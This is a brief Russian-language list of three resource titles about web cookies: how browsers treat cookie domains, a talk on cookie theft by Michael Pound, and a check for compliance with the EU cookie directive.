  • Домен cookie, подробно объясните, как домены cookie обрабатываются в текущих основных браузерах.
  • Кража печенья - Майкл Паунд
  • Проверьте файлы cookie на соответствие директиве ЕС о файлах cookie